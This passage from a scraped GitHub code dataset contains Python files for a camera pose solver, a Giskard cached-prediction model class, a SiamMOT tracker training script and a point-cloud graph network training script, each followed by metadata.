"file_size_in_byte": 1497, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "Helpers.EmbedHelper.SpecifyErrorEmbed", "line_number": 21, "usage_type": "call"}, {"api_name": "Helpers.EmbedHelper", "line_number": 21, "usage_type": "name"}, {"api_name": "urbandictionary.define", "line_number": 27, "usage_type": "call"}, {"api_name": "Helpers.EmbedHelper.UrbanEmbed", "line_number": 38, "usage_type": "call"}, {"api_name": "Helpers.EmbedHelper", "line_number": 38, "usage_type": "name"}, {"api_name": "Helpers.EmbedHelper.UnknownErrorEmbed", "line_number": 40, "usage_type": "call"}, {"api_name": "Helpers.EmbedHelper", "line_number": 40, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 10, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 10, "usage_type": "name"}]}
{"seq_id": "11503579772", "text": "import torch, torch.nn as nn, torch.nn.functional as F, numpy as np\n\n\n'''\n\nTwo implementations, chosen at bottom of file.\n\nfunctorch based PNP solver.\nRequires a decent initial estimate.\n\nActually opencv solvePnP is not very good unless you use the iterative method with an initial estimate,\nwhich is about as good as my NLLS solver. IIRC solvePnP use Lu OI algorithm though, which converges fast, probably\nunlike the NLLS solve.\nWithout useExtrinsicGuess, I figure solvePnP either does OI with a bad initial scene plane, or attempts to first use an algebraic\nmethod like EPNP and simply fails.\n\n'''\n\n\ndef log_R(R):\n    t = np.arccos((np.trace(R) - 1) * .5)\n    d = np.linalg.norm((R[2,1]-R[1,2], R[0,1]-R[1,0], R[0,2]-R[2,0]))\n    if d < 1e-12: return np.zeros(3)\n    return np.array((R[2,1]-R[1,2], R[0,2]-R[2,0], R[1,0]-R[0,1])) * t / d\ndef q_exp(r):\n    l2 = r@r\n    if l2 < 1e-15:\n        return np.array((1,0,0,0.))\n    l = np.sqrt(l2)\n    # a = l * np.pi * .5\n    a = l * .5\n    c,s = np.cos(a), np.sin(a)\n    # return np.array((0,1,0,0))\n    return np.array((c,*((s/l)*r)))\n\ndef q_to_matrix1(q):\n    # r,i,j,k = q[0], q[1], q[2], q[3]\n    # return torch.stack((\n    r,i,j,k = q[0:1], q[1:2], q[2:3], q[3:4]\n    return torch.cat((\n        1-2*(j*j+k*k), 2*(i*j-k*r), 2*(i*k+j*r),\n        2*(i*j+k*r), 1-2*(i*i+k*k), 2*(j*k-i*r),\n        2*(i*k-j*r), 2*(j*k+i*r), 1-2*(i*i+j*j))).view(3,3)\n\ndef mapProject2(pose, pts, fxy, wh):\n    q,t = pose[...,:4], pose[...,4:]\n    tpts = (pts-t.view(-1,3)) @ q_to_matrix1(q) # Transposing R twice: R.T.T = R\n    ppts = (tpts[...,:2] / tpts[...,2:])\n    # ppts[...,1] *= -1\n    return ppts * fxy + wh*.5\n\ndef get_functorch_jac_2():\n    from functorch import jacfwd, vmap\n    from functorch.compile import aot_function, memory_efficient_fusion, ts_compile\n\n    # Each camera projects the SAME number of points\n    m2 = vmap(mapProject2, (0,0,0,0))\n    d_m2 = vmap(jacfwd(mapProject2, (0,1)), (0,0,0,0))\n\n    return m2, d_m2\n\n# Actually this is not very good.\ndef recover_camera_opencv(wh, fxy, obspts, worldpts,\n                   initialEye=torch.FloatTensor((0,1,-2)),\n                   initialQ=torch.FloatTensor((1,0,0,0))):\n\n    rvec0 = log_R(q_to_matrix1(initialQ))\n    tvec0 = -(q_to_matrix1(initialQ) @ initialEye).cpu().numpy()\n\n\n    import cv2\n    Ps = []\n    for i in range(len(obspts)):\n        opts = worldpts[i].cpu().numpy()\n        ipts = obspts[i].cpu().numpy()\n        K = np.array((\n            fxy[0], 0, wh[0]*.5,\n            0, fxy[1], wh[1]*.5,\n            0,0,1)).reshape(3,3)\n        print(opts.shape, ipts.shape, K.shape)\n        if 0:\n            stat,rvec,tvec = cv2.solvePnP(opts,ipts,K,None)\n        else:\n            stat,rvec,tvec = cv2.solvePnP(opts,ipts,K,None, np.copy(rvec0),np.copy(tvec0), useExtrinsicGuess=True)\n        assert(stat)\n        P = np.eye(4)\n        # print('K',K)\n        rod = cv2.Rodrigues(rvec)\n        print('tvec',tvec.squeeze())\n        print('rvec',rvec)\n        print('R',rod[0])\n        # P[:3,:3] = rod[0]\n        # P[:3,3] = tvec.squeeze()\n        P = np.zeros(7)\n        if 1:\n            # Must invert\n            P[:4] = q_exp(rvec.squeeze()) * (1,-1,-1,-1)\n            P[4:] = -(rod[0].T @ tvec.squeeze())\n        else:\n            P[:4] = q_exp(rvec.squeeze())# * (1,-1,-1,-1)\n            P[4:] = tvec.squeeze()\n        # print('R_',q_to_matrix1(torch.from_numpy(P[:4])))\n        Ps.append(P)\n    return torch.from_numpy(np.stack(Ps))\n\n\ndef recover_camera_functorch(wh, fxy, obspts, worldpts,\n                   initialEye=torch.FloatTensor((0,1,-2)),\n                   initialQ=torch.FloatTensor((1,0,0,0)),\n            ):\n\n    B,N,three = worldpts.size()\n    x = torch.cat((initialQ,initialEye), -1).view(1,7).repeat(B,1)\n    x[...,:4] = nn.functional.normalize(x[...,:4], dim=-1)\n    wh = wh.view(1,2).repeat(B,1)\n    fxy = fxy.view(1,2).repeat(B,1)\n\n    Nstate = 7\n    Nobs = N * 2\n\n    prior0 = torch.eye(7).unsqueeze_(0)\n    prior0[:,:4,:4] *= 1e4\n    prior0[:,4:,4:] *= 1e2\n    prior = prior0.clone()\n\n    F, dF = get_functorch_jac_2()\n\n    # print('obs\\n',obspts)\n\n    for i in range(32):\n        pred = F(x, worldpts, fxy, wh)\n        Js = dF(x, worldpts, fxy, wh)\n\n\n        # print('pred\\n',pred)\n        res = pred - obspts # [B,N,2]\n        rmse = res.pow(2).sum(2).mean(1).sqrt() # [B]\n        print(f' - step {i} rmse {rmse}')\n\n        # print(pred.shape,[JJ.shape for JJ in Js])\n        if 0:\n            J = Js[0].sum(1) # sum out 'N', the observation dim. to get a [B,2,7] tensor.\n\n            # grad = (J.mT @ res.mT).sum(2) # [B,2,7] x [B,N,2] -> [B,7]\n            grad = (J.mT @ res.permute(0,2,1)).sum(2) # [B,2,7] x [B,N,2] -> [B,7]\n\n            # JtJ = J.mT @ J # [B,7,7]\n            JtJ = J.permute(0,2,1) @ J # [B,7,7]\n        else:\n            J = Js[0] # [B,N,2,7]\n            # print('j',J.shape, 'res',res.shape)\n            # print((J.mT @ res.permute(0,2,1).unsqueeze(-2)).shape)\n            # grad = (J.mT @ res.permute(0,2,1)).sum(1)\n            # print(torch.bmm(J.view(-1,2,7).mT, res.view(-1,2,1))[...,0]\n            # print(J.shape, res.shape)\n            grad = torch.bmm(J.reshape(-1,2,7).mT, res.reshape(-1,2,1))[...,0].reshape(B,N,7).sum(1)\n            JtJ = (J.permute(0,1,3,2) @ J).sum(1) # [B,7,7]\n            # print(J.shape,grad.shape,JtJ.shape)\n\n        # print('JtJ:\\n',JtJ)\n        # print('grad:',grad)\n        if 1:\n            Hess = JtJ + prior\n            P = Hess.inverse()\n            # print('P:\\n',P)\n\n            bad = (P.diagonal(dim1=1,dim2=2) <= 0)\n            if (bad).any():\n                print(P.diagonal(dim1=1,dim2=2))\n                print(' - WARNING: non-pos-definite covariance.')\n                # prior = prior*2\n\n                # continue\n                # P[bad.flatten(1).any(1)] = 0\n                # exit()\n\n            # print(P.shape,grad.shape)\n            x = x - (P @ grad.unsqueeze(-1))[...,0]\n        else:\n            Hess = JtJ[...,4:,4:] + prior[...,4:,4:]\n            P = Hess.inverse()\n            # print('P',P.shape)\n            x[...,4:] = x[...,4:] - (P @ grad[...,4:].unsqueeze(-1))[...,0]\n\n        x[...,:4] = nn.functional.normalize(x[...,:4], dim=-1)\n        # x[...,:4] = torch.FloatTensor((1,0,0,0)).view(1,4)\n        # print('q',x[0,:4], 't',x[0,4:])\n    print('q',x[0,:4], 't',x[0,4:])\n\n    return x\n\n\n\n\n# Set implementation\n# recover_camera = recover_camera_opencv\nrecover_camera = recover_camera_functorch\n\n\n\n\n\n\nif __name__ == '__main__':\n    wh = torch.FloatTensor((512,512.))\n    uv = np.tan(np.deg2rad(50)/2)*2\n    fxy = wh/uv\n    worldpts = torch.randn(1,10,3) + torch.FloatTensor((0,1,8)).view(1,1,3)\n\n    # def mapProject2(pose, pts, fxy, wh):\n    # obspts = (worldpts * 1)[:,:,:2] * fxy + wh*.5\n    pose0 = torch.FloatTensor((1,0,.1,-.02, 0,2.1,-1.02)).view(7)\n    pose0[...,:4] = nn.functional.normalize(pose0[...,:4], dim=-1)\n    obspts = mapProject2(pose0, worldpts, fxy, wh)\n\n    recover_camera(wh, fxy, obspts, worldpts)\n    # exit()\n\n", "repo_name": "steplee/steplee.github.io", "sub_path": "extraPages/xray/pysrc/solver/pnp.py", "file_name": "pnp.py", "file_ext": "py", "file_size_in_byte": 6967, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.arccos", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.trace", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 40, "usage_type": "call"}, {"api_name": "functorch.vmap", "line_number": 57, "usage_type": "call"}, {"api_name": "functorch.vmap", "line_number": 58, "usage_type": "call"}, {"api_name": "functorch.jacfwd", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.solvePnP", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.solvePnP", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.Rodrigues", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 114, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.eye", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.nn.functional", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 185, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 185, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.nn.functional.normalize", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 213, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 213, "usage_type": "name"}]}
{"seq_id": "21136356695", "text": "from typing import Iterable, Optional\n\nimport numpy as np\nimport pandas as pd\n\nfrom ..core.core import ModelType\nfrom ..datasets.base import Dataset\nfrom .base import BaseModel, ModelPredictionResults\n\n\nclass PrecookedModel(BaseModel):\n    \"\"\"A dummy model for internal usage.\"\"\"\n\n    def __init__(\n        self,\n        data: Dataset,\n        predictions: ModelPredictionResults,\n        model_type: ModelType,\n        feature_names: Optional[Iterable] = None,\n        classification_labels: Optional[Iterable] = None,\n        **kwargs,\n    ):\n        self._data = data\n        self._predictions = predictions\n        super().__init__(\n            model_type=model_type, feature_names=feature_names, classification_labels=classification_labels, **kwargs\n        )\n\n    @classmethod\n    def from_model(cls, model: BaseModel, dataset: Dataset):\n        \"\"\"Creates a PrecookedModel from an existing model and dataset.\n\n        Parameters\n        ----------\n        model : BaseModel\n            A instance of a Giskard model.\n        dataset : Dataset\n            Dataset for which predictions will be cached.\n\n        Returns\n        -------\n        PrecookedModel\n\n        \"\"\"\n        predictions = model.predict(dataset)\n\n        return cls(\n            dataset,\n            predictions,\n            model.meta.model_type,\n            model.meta.feature_names,\n            model.meta.classification_labels,\n        )\n\n    def predict(self, dataset: Dataset) -> ModelPredictionResults:\n        refs = pd.Series(np.arange(len(self._data)), index=self._data.df.index)\n        idx = refs.loc[dataset.df.index]\n\n        raw = np.asarray(self._predictions.raw)[idx]\n        prediction = np.asarray(self._predictions.prediction)[idx]\n        raw_prediction = np.asarray(self._predictions.raw_prediction)[idx]\n\n        probabilities = getattr(self._predictions, \"probabilities\", None)\n        if probabilities is not None:\n            probabilities = np.asarray(probabilities)[idx]\n\n        all_predictions = getattr(self._predictions, \"all_predictions\", None)\n        if all_predictions is not None:\n            all_predictions = np.asarray(all_predictions)[idx]\n\n        return ModelPredictionResults(\n            raw=raw,\n            prediction=prediction,\n            raw_prediction=raw_prediction,\n            probabilities=probabilities,\n            all_predictions=all_predictions,\n        )\n\n    def predict_df(self, df: pd.DataFrame):\n        raise NotImplementedError()\n", "repo_name": "Giskard-AI/giskard", "sub_path": "giskard/models/_precooked.py", "file_name": "_precooked.py", "file_ext": "py", "file_size_in_byte": 2473, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2258, "dataset": "github-code", "pt": "71", "api": [{"api_name": "base.BaseModel", "line_number": 11, "usage_type": "name"}, {"api_name": "datasets.base.Dataset", "line_number": 16, "usage_type": "name"}, {"api_name": "base.ModelPredictionResults", "line_number": 17, "usage_type": "name"}, {"api_name": "core.core.ModelType", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 19, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 20, "usage_type": "name"}, {"api_name": "base.BaseModel", "line_number": 30, "usage_type": "name"}, {"api_name": "datasets.base.Dataset", "line_number": 30, "usage_type": "name"}, {"api_name": "datasets.base.Dataset", "line_number": 55, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 69, "usage_type": "call"}, {"api_name": "base.ModelPredictionResults", "line_number": 71, "usage_type": "call"}, {"api_name": "base.ModelPredictionResults", "line_number": 55, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 79, "usage_type": "attribute"}]}
{"seq_id": "19111946178", "text": "import argparse\nimport os\nimport torch\nimport torch.distributed as dist\n\nfrom maskrcnn_benchmark.solver import make_lr_scheduler\nfrom maskrcnn_benchmark.solver import make_optimizer\nfrom maskrcnn_benchmark.utils.checkpoint import DetectronCheckpointer\nfrom maskrcnn_benchmark.utils.collect_env import collect_env_info\nfrom maskrcnn_benchmark.utils.comm import synchronize, get_rank\nfrom maskrcnn_benchmark.utils.logger import setup_logger\nfrom maskrcnn_benchmark.utils.miscellaneous import mkdir, save_config\n\nfrom siammot.configs.defaults import cfg\nfrom siammot.data.build_train_data_loader import build_train_data_loader\nfrom siammot.modelling.rcnn import build_siammot\nfrom siammot.engine.trainer import do_train\nfrom siammot.utils.get_model_name import get_model_name\nfrom siammot.engine.tensorboard_writer import TensorboardWriter\n\n\ntry:\n    from apex import amp\nexcept ImportError:\n    raise ImportError('Use APEX for multi-precision via apex.amp')\n\n\nparser = argparse.ArgumentParser(description=\"PyTorch SiamMOT Training\")\nparser.add_argument(\"--config-file\", default=\"\", metavar=\"FILE\", help=\"path to config file\", type=str)\nparser.add_argument(\"--train-dir\", default=\"\", help=\"training folder where training artifacts are dumped\", type=str)\nparser.add_argument(\"--model-suffix\", default=\"\", help=\"model suffix to differentiate different runs\", type=str)\nparser.add_argument(\"--local_rank\", type=int, default=0)\n\n\ndef train(cfg, train_dir, local_rank, distributed, logger):\n\n    # build model\n    model = build_siammot(cfg)\n    device = torch.device(cfg.MODEL.DEVICE)\n    model.to(device)\n\n    optimizer = make_optimizer(cfg, model)\n    scheduler = make_lr_scheduler(cfg, optimizer)\n\n    # Initialize mixed-precision training\n    use_mixed_precision = cfg.DTYPE == \"float16\"\n    amp_opt_level = 'O1' if use_mixed_precision else 'O0'\n    model, optimizer = amp.initialize(model, optimizer, opt_level=amp_opt_level)\n\n    if distributed:\n        model = torch.nn.parallel.DistributedDataParallel(\n            model, device_ids=[local_rank], output_device=local_rank,\n            broadcast_buffers=False, find_unused_parameters=True\n        )\n\n    arguments = {}\n    arguments[\"iteration\"] = 0\n\n    save_to_disk = get_rank() == 0\n    checkpointer = DetectronCheckpointer(cfg, model, optimizer,\n                                         scheduler, train_dir, save_to_disk\n                                         )\n    extra_checkpoint_data = checkpointer.load(cfg.MODEL.WEIGHT)\n    arguments.update(extra_checkpoint_data)\n\n    data_loader = build_train_data_loader(\n        cfg,\n        is_distributed=distributed,\n        start_iter=arguments[\"iteration\"],\n    )\n\n    checkpoint_period = cfg.SOLVER.CHECKPOINT_PERIOD\n\n    tensorboard_writer = TensorboardWriter(cfg, train_dir)\n\n    do_train(model, data_loader, optimizer, scheduler,\n             checkpointer, device, checkpoint_period, arguments,\n             logger, tensorboard_writer\n             )\n\n    return model\n\n\ndef setup_env_and_logger(args, cfg):\n    num_gpus = int(os.environ[\"WORLD_SIZE\"]) if \"WORLD_SIZE\" in os.environ else 1\n    args.distributed = num_gpus > 1\n\n    if args.distributed:\n        torch.cuda.set_device(args.local_rank)\n        torch.distributed.init_process_group(backend=\"nccl\", init_method=\"env://\")\n        synchronize()\n\n    model_name = get_model_name(cfg, args.model_suffix)\n    train_dir = os.path.join(args.train_dir, model_name)\n    if train_dir:\n        mkdir(train_dir)\n\n    logger = setup_logger(\"siammot\", train_dir, get_rank())\n    logger.info(\"Using {} GPUs\".format(num_gpus))\n    logger.info(args)\n\n    logger.info(\"Collecting env info (might take some time)\")\n    logger.info(\"\\n\" + collect_env_info())\n\n    logger.info(\"Loaded configuration file {}\".format(args.config_file))\n    with open(args.config_file, \"r\") as cf:\n        config_str = \"\\n\" + cf.read()\n        logger.info(config_str)\n    logger.info(\"Running with config:\\n{}\".format(cfg))\n\n    output_config_path = os.path.join(train_dir, 'config.yml')\n    logger.info(\"Saving config into: {}\".format(output_config_path))\n    save_config(cfg, output_config_path)\n\n    return train_dir, logger\n\n\ndef main():\n    args = parser.parse_args()\n\n    cfg.merge_from_file(args.config_file)\n    cfg.freeze()\n\n    train_dir, logger = setup_env_and_logger(args, cfg)\n\n    train(cfg, train_dir, args.local_rank, args.distributed, logger)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "amazon-science/siam-mot", "sub_path": "tools/train_net.py", "file_name": "train_net.py", "file_ext": "py", "file_size_in_byte": 4427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 463, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 28, "usage_type": "call"}, {"api_name": "siammot.modelling.rcnn.build_siammot", "line_number": 38, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 38, "usage_type": "argument"}, {"api_name": "torch.device", "line_number": 39, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg.MODEL", "line_number": 39, "usage_type": "attribute"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 39, "usage_type": "name"}, {"api_name": "maskrcnn_benchmark.solver.make_optimizer", "line_number": 42, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 42, "usage_type": "argument"}, {"api_name": "maskrcnn_benchmark.solver.make_lr_scheduler", "line_number": 43, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 43, "usage_type": "argument"}, {"api_name": "siammot.configs.defaults.cfg.DTYPE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 46, "usage_type": "name"}, {"api_name": "apex.amp.initialize", "line_number": 48, "usage_type": "call"}, {"api_name": "apex.amp", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "attribute"}, {"api_name": "maskrcnn_benchmark.utils.comm.get_rank", "line_number": 59, "usage_type": "call"}, {"api_name": "maskrcnn_benchmark.utils.checkpoint.DetectronCheckpointer", "line_number": 60, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 60, "usage_type": "argument"}, {"api_name": "siammot.configs.defaults.cfg.MODEL", "line_number": 63, "usage_type": "attribute"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 63, "usage_type": "name"}, {"api_name": "siammot.data.build_train_data_loader.build_train_data_loader", "line_number": 66, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 67, "usage_type": "argument"}, {"api_name": "siammot.configs.defaults.cfg.SOLVER", "line_number": 72, "usage_type": "attribute"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 72, "usage_type": "name"}, {"api_name": "siammot.engine.tensorboard_writer.TensorboardWriter", "line_number": 74, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 74, "usage_type": "argument"}, {"api_name": "siammot.engine.trainer.do_train", "line_number": 76, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 85, "usage_type": "attribute"}, {"api_name": "torch.cuda.set_device", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torch.distributed.init_process_group", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 90, "usage_type": "attribute"}, {"api_name": "maskrcnn_benchmark.utils.comm.synchronize", "line_number": 91, "usage_type": "call"}, {"api_name": "siammot.utils.get_model_name.get_model_name", "line_number": 93, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 93, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "maskrcnn_benchmark.utils.miscellaneous.mkdir", "line_number": 96, "usage_type": "call"}, {"api_name": "maskrcnn_benchmark.utils.logger.setup_logger", "line_number": 98, "usage_type": "call"}, {"api_name": "maskrcnn_benchmark.utils.comm.get_rank", "line_number": 98, "usage_type": "call"}, {"api_name": "maskrcnn_benchmark.utils.collect_env.collect_env_info", "line_number": 103, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 109, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "maskrcnn_benchmark.utils.miscellaneous.save_config", "line_number": 113, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 113, "usage_type": "argument"}, {"api_name": "siammot.configs.defaults.cfg.merge_from_file", "line_number": 121, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 121, "usage_type": "name"}, {"api_name": "siammot.configs.defaults.cfg.freeze", "line_number": 122, "usage_type": "call"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 122, "usage_type": "name"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 124, "usage_type": "argument"}, {"api_name": "siammot.configs.defaults.cfg", "line_number": 126, "usage_type": "argument"}]}
{"seq_id": "22634444687", "text": "\nimport os\n\n#os.environ['LD_LIBRARY_PATH'] += ':/usr/local/cuda-11.1/bin64:/usr/local/cuda-11.2/bin64'\n\nimport numpy as np\nimport torch\nimport torch.multiprocessing as mp\nimport torch_geometric.datasets as GeoData\nfrom modelnet40 import ModelNet40\nfrom torch.utils.data import DataLoader, Sampler\nimport torch_geometric.transforms as T\nfrom torch.nn.parallel import DistributedDataParallel\nfrom torch.utils.data.distributed import DistributedSampler\nfrom config import OptInit\nfrom architecture import ClassificationGraphNN, ClassificationGraphNN2\nfrom utils.ckpt_util import load_pretrained_models, load_pretrained_optimizer, save_checkpoint\nfrom utils.metrics import AverageMeter\nimport logging\nfrom tqdm import tqdm\nfrom parallel_wrapper import launch\nimport comm\nimport wandb\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nfrom gcn_lib.dense import pairwise_distance\nimport random\n\ndef seed_worker(worker_id):\n    worker_seed = torch.initial_seed() % 2**32\n    np.random.seed(worker_seed)\n    random.seed(worker_seed)\n\ndef dist2distloss(feats1,feats2):\n    f1 = feats1.transpose(2, 1).squeeze(-1)\n    f2 = feats2.transpose(2, 1).squeeze(-1)\n    d1 = pairwise_distance(f1)/f1.shape[2]\n    d2 = pairwise_distance(f2)/f2.shape[2]\n    crit = torch.nn.MSELoss(reduction='sum')\n    return crit(d1,d2)\n\ndef stressloss(feats1,feats2):\n    f1 = feats1.transpose(2, 1).squeeze(-1)\n    f2 = feats2.transpose(2, 1).squeeze(-1)\n    d1 = torch.sqrt(pairwise_distance(f1)/f1.shape[2] + 1e-6)\n    d2 = torch.sqrt(pairwise_distance(f2)/f2.shape[2] + 1e-6)\n    crit = torch.nn.MSELoss(reduction='sum')\n    return crit(d1,d2)\n\ndef scaledstressloss(feats1,feats2):\n    f1 = feats1.transpose(2, 1).squeeze(-1)\n    f2 = feats2.transpose(2, 1).squeeze(-1)\n    d1squared = pairwise_distance(f1)\n    d2squared = pairwise_distance(f2)\n    #We add 1 to avoid problems with squared root gradients, this doesn't affect as we compute the difference\n    #d1 = torch.sqrt(d1squared/f1.shape[2] + 1)\n    #d2 = torch.sqrt(d2squared/f2.shape[2] + 1)\n    d1 = torch.sqrt(d1squared + 1)\n    d2 = torch.sqrt(d2squared + 1)\n    crit = torch.nn.MSELoss(reduction='none')\n    #print(d1.shape, ((d1squared.view(f1.shape[0],-1)).sum(1, keepdim=True).unsqueeze(-1)).shape)\n    #Shapes are B,N,N and B,1,1\n    scaled_se = crit(d1,d2)/((d1squared.view(f1.shape[0],-1)).sum(1, keepdim=True).unsqueeze(-1))\n    #print(scaled_se.shape)\n    flat_scaled_se = scaled_se.view(f1.shape[0],-1)\n    #print(flat_scaled_se.shape)\n    return flat_scaled_se.sum(dim=1).sum(dim=0)\n\n\ndef train(model, train_loader, optimizer, criterion, opt, cur_rank):\n    model.train()\n    total_loss = 0\n    total_d2d_loss = 0\n    total_ce_loss = 0\n\n    targets = []\n    preds = []\n    with tqdm(train_loader) as tqdm_loader:\n        for i, (data,label) in enumerate(tqdm_loader):\n            opt.iter += 1\n            desc = 'Epoch:{}  Iter:{}  [{}/{}]'\\\n                .format(opt.epoch, opt.iter, i + 1, len(train_loader))\n            tqdm_loader.set_description(desc)\n\n            inputs = data.transpose(2, 1).unsqueeze(3).to(opt.device)\n            gt = label.to(opt.device)\n            # ------------------ zero, output, loss\n            optimizer.zero_grad()\n            out, graph_feats = model(inputs)\n            #Cros Entropy\n            loss = criterion(out, gt)\n            total_ce_loss += loss.item()\n\n            #L2 regularization of Graph features\n            l2_crit = torch.nn.L1Loss(reduction='sum')\n            reg_loss = 0\n            for name, param in model.named_parameters():\n                if name[:16] == 'module.graph_mlp':\n                    zero = torch.zeros_like(param)\n                    reg_loss += l2_crit(param,zero)\n            factor_l2 = opt.graph_l2reg\n            #Divergence of distance matrices\n            factor_dist2dist = opt.d2d_weight\n            d2d_loss = scaledstressloss(inputs.to(opt.device), graph_feats)\n            total_d2d_loss += d2d_loss.item()\n\n            #Update loss\n            loss += factor_l2 * reg_loss + factor_dist2dist*d2d_loss\n            total_loss+=loss.item()\n            # ------------------ optimization\n            loss.backward()\n            optimizer.step()\n\n            target_np = gt.cpu().numpy()\n            pred = out.max(dim=1)[1]\n            pred_np = pred.cpu().numpy()\n\n            targets += list(target_np.ravel())\n            preds += list(pred_np.ravel())\n\n    acc = accuracy_score(targets, preds)\n\n    return total_loss, total_d2d_loss, total_ce_loss, acc\n\n\ndef test(model, loader, criterion, opt, cur_rank):\n    Is = np.empty((len(loader), opt.n_classes))\n    Us = np.empty((len(loader), opt.n_classes))\n    total_loss = 0\n    total_d2d_loss = 0\n    total_ce_loss = 0\n\n    targets = []\n    preds = []\n\n    model.eval()\n    with torch.no_grad():\n        for i, (data, label) in enumerate(tqdm(loader)):\n            inputs = data.transpose(2, 1).unsqueeze(3).to(opt.device)\n            gt = 